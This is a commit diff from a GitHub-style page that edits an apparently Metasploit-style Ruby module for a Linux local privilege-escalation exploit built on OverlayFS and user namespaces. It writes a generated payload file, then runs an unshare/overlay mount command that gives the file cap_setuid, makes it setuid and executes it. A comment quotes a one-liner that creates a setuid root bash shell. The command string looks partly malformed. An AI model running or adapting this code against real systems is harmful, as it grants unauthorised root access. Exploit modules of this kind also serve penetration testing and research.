Skip to content

Commit aee4ced

Browse files
author
Corey
committed
remove upload_dir opt
1 parent be16206 commit aee4ced

File tree

1 file changed

+9
-20
lines changed

1 file changed

+9
-20
lines changed

modules/exploits/linux/local/game_overlay_privesc.rb

Lines changed: 9 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -51,9 +51,6 @@ def initialize(info = {})
5151
register_options [
5252
OptString.new('PayloadFilename', [true, 'Name of payload file', 'marv.elf'])
5353
]
54-
register_advanced_options [
55-
OptString.new('UploadDir', [true, 'Directory where the payload will be uploaded to.', '/tmp'])
56-
]
5754
end
5855

5956
def vuln
@@ -110,29 +107,21 @@ def exploit
110107
# So we can run a shell without having to drop a new executable
111108
print_status "Running exploit..."
112109

113-
dir = datastore['UploadDir'].to_s
114-
115-
Failure::BadConfig("Upload dir is not writeable") unless writable?(dir)
116-
117-
payload_dir = "#{dir}/.#{rand_text_alphanumeric(4..20)}/"
118-
119-
# make sure dir doesn't already exist
120-
Failure::BadConfig("#{payload_dir} already exists") if directory_exist? payload_dir
121-
122-
mkdir payload_dir
123-
register_dir_for_cleanup payload_dir
124-
125-
payload_file = payload_dir + datastore['PayloadFilename']
110+
payload_file = datastore['PayloadFilename']
126111
register_file_for_cleanup payload
127112

128113
# Write payload file
129-
write_file 'test.txt', 'Hello, World !'
130-
# write_file payload, generate_payload.generate
114+
print_status "payload_file: #{payload_file}"
115+
116+
Failure::BadConfig "#{payload_file} already exists" if file? payload_file
117+
Failure::BadConfig "Current directory isn't writeable" unless writable? '.'
118+
119+
write_file payload_file, generate_payload.generate
131120

132121
# run shell in a different namespace, add setuid capabilities and create a new mount point
133122
# Based on g1vi exploit: "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'"
134-
hack = "unshare -rm sh -c \"mkdir l u w m && cp #{payload} l/; setcap cap_setuid+eip l/#{payload}; mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; && chmod 4755 /u/#{payload} && /u/#{payload}" # && rm -rf l/ m/ u/ w/ #{payload} }
135-
print_status("Running exploit #{hack}")
123+
hack = "unshare -rm sh -c \"mkdir l u w m && cp #{payload_file} l/; setcap cap_setuid+eip l/#{payload_file}; mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; && chmod 4755 /u/#{payload_file} && /u/#{payload_file}" # && rm -rf l/ m/ u/ w/ #{payload} }
124+
print_status("Running exploit '#{hack}'")
136125
cmd_exec hack
137126
end
138127

0 commit comments

Comments
 (0)